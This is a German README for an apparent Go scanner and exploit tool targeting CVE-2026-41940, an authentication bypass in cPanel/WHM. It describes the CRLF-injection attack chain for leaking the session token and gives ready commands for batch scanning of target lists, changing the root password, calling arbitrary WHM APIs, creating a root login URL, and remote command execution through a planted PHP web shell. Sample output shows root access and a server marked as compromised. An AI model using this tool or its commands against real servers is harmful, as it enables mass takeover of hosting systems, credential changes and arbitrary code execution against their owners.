
Go-basierter Scanner und Exploit-Tool für CVE-2026-41940, eine Authentifizierungsumgehung in cPanel/WHM. Unterstützt Batch-Scanning, Token-Leakage und Post-Exploitation-Aktionen wie RCE, Passwortänderung und API-Aufrufe.
Ein in Go geschriebenes CLI-Tool, das auf dem Python-PoC von watchTowr basiert und zur Erkennung und Ausnutzung der CVE-2026-41940 cPanel/WHM-Authentifizierungs-Bypass-Schwachstelle dient.
CVE-2026-41940 ist eine Authentifizierungs-Bypass-Schwachstelle in cPanel/WHM. Die Angriffskette nutzt eine CRLF-Injektion in den Basic-Auth-Header, um Sicherheits-Tokens zu leaken und WHM-Root-Zugriff zu erlangen.
4-Phasen-Angriffskette:
/login/, um das rohe whostmgrsession-Cookie zu erhaltenAuthorization: Basic-Header, um den Server dazu zu bringen, das cpsess-Sicherheits-Token im Location-Header der 307-Weiterleitung zu leakendo_token_denied, um die injizierten Authentifizierungsdaten vom Rohspeicher in den Cache zu übertragen/json-api/version mit dem geleakten Token, um Root-Zugriff zu verifizierenhttp://, https://, protokollfreien Formaten, automatische Deduplizierung-passwd)-api)-session)-cmd)[VULN] rot, [SAFE] grün hervorgehoben# Erfordert Go 1.20+
cd cpanel-checker
go build -o cpanel-checker .
| Parameter | Beschreibung | Beispiel |
|---|---|---|
-u | Einzelne Ziel-URL | -u https://1.2.3.4:2087 |
-f | Datei mit URL-Liste | -f targets.txt |
-o | Ausgabedateipfad (Standard result.txt) | -o vuln.txt |
-c | Parallelität (Standard 10) | -c 20 |
-hostname | Host-Header manuell angeben (Standard: automatische Erkennung) | -hostname cpanel.example.com |
-passwd | Root-Passwort ändern (nur -u-Modus) | -passwd NewP@ss123 |
-api | WHM-API-Funktion aufrufen (nur -u-Modus) | -api listaccts |
-api-params | WHM-API-Parameter, kommagetrennt | -api-params user=root,password=123 |
-session | Root-Ein-Klick-Login-URL generieren (nur -u-Modus) | -session |
-keep | Temporäres RCE-Konto behalten (in Kombination mit -cmd) | -keep |
-cmd | Remote-Befehl ausführen / RCE (nur -u-Modus) | -cmd "id" |
./cpanel-checker -u https://target:2087
Der Standardport ist 2087, die folgenden Schreibweisen sind äquivalent:
./cpanel-checker -u https://target
./cpanel-checker -u target
./cpanel-checker -f targets.txt -c 20
targets.txt unterstützt die folgenden Formate (eine pro Zeile, # am Anfang ist ein Kommentar):
https://1.1.1.1:2087
http://2.2.2.2:2087
3.3.3.3:2087
4.4.4.4
# Dies ist ein Kommentar
http://1.1.1.1 und https://1.1.1.1 gelten als dasselbe Ziel und werden nur einmal gescannthttps:// ergänzt2087result.txt gespeichert (über -o anpassbar)./cpanel-checker -u https://target:2087 -passwd "NewP@ssw0rd!"
# Alle Konten auflisten
./cpanel-checker -u https://target:2087 -api listaccts
# Mit Parametern aufrufen
./cpanel-checker -u https://target:2087 -api passwd -api-params "user=root,password=abc123"
./cpanel-checker -u https://target:2087 -session
Gibt eine URL aus, die im Browser geöffnet werden kann, um direkt in das WHM-Verwaltungspanel zu gelangen. Über die Terminal-Funktion im Panel kann eine interaktive Root-Shell erhalten werden.
Hinweis:
-sessionist halbautomatisch — das Tool generiert die Login-URL, die du dann manuell im Browser öffnen musst.
./cpanel-checker -u https://target:2087 -cmd "id"
Mit -keep wird das temporäre Konto behalten, um sich im cPanel-Backend anzumelden:
./cpanel-checker -u https://target:2087 -cmd "id" -keep
Bei Verwendung von -keep enthält die Ausgabe Benutzername, Passwort und cPanel-Login-Adresse (https://host:2083) des temporären Kontos. Mit diesen Anmeldedaten kann man sich direkt im cPanel-Panel anmelden.
-cmd ist vollautomatisch und erfordert keine weiteren manuellen Schritte. Interner Ablauf:
Fileman::save_file_content) in ~/public_html/ schreibenhttps://host/~tmpuser/shell.php ausführenVoraussetzung: Port 80 oder 443 des Ziels muss erreichbar sein und Apache/httpd muss laufen.
Mehrere Exploit-Parameter können gleichzeitig verwendet werden:
# Login-URL erhalten, Befehl ausführen und Passwort ändern
./cpanel-checker -u https://target:2087 -session -cmd "id" -passwd "NewP@ss123"
Wenn die Ziel-IP nicht mit dem in cPanel konfigurierten Hostnamen übereinstimmt, kann dieser manuell angegeben werden:
./cpanel-checker -u https://1.2.3.4:2087 -hostname cpanel.example.com
Standardmäßig erkennt das Tool den korrekten Hostnamen automatisch über die 307-Weiterleitung von /openid_connect/cpanelid.
[1/5] [VULN] https://1.1.1.1:2087 - token=/cpsess1234567890
[2/5] [SAFE] https://2.2.2.2:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
[3/5] [SAFE] https://3.3.3.3:2087 - stage1: request failed: dial tcp: i/o timeout
[4/5] [VULN] https://4.4.4.4:2087 - token=/cpsess0987654321
[5/5] [SAFE] https://5.5.5.5:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
========== Scan abgeschlossen ==========
Gesamt: 5 | Anfällig: 2
● https://1.1.1.1:2087
● https://4.4.4.4:2087
[+] Ergebnisse wurden in result.txt gespeichert
[*] Ziel: https://target:2087
[*] Modus: Exploit
[0] hostname = cpanel.example.com
[1] minting a preauth session...
session base = abc123def456
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
leaked token = /cpsess1234567890
[3] firing do_token_denied to propagate raw -> cache...
gadget fired
[4] verifying we're WHM root...
[+] WHM-Root-Zugriff erlangt
[*] Remote-Befehl ausführen (RCE)...
[a] Temporäres Konto erstellen: tmpabcde
[b] Shell schreiben: /home/tmpabcde/public_html/random.php
[c] Befehl ausführen: id
[d] Temporäres Konto löschen: tmpabcde
[+] Befehlsausgabe:
uid=0(root) gid=0(root) groups=0(root)
[+] Fertig. https://target:2087 wurde kompromittiert
-passwd, -api, -session, -cmd) sind nur im -u-Einzelzielmodus verfügbar, nicht im -f-Batchmodus# beginnen, werden ignoriert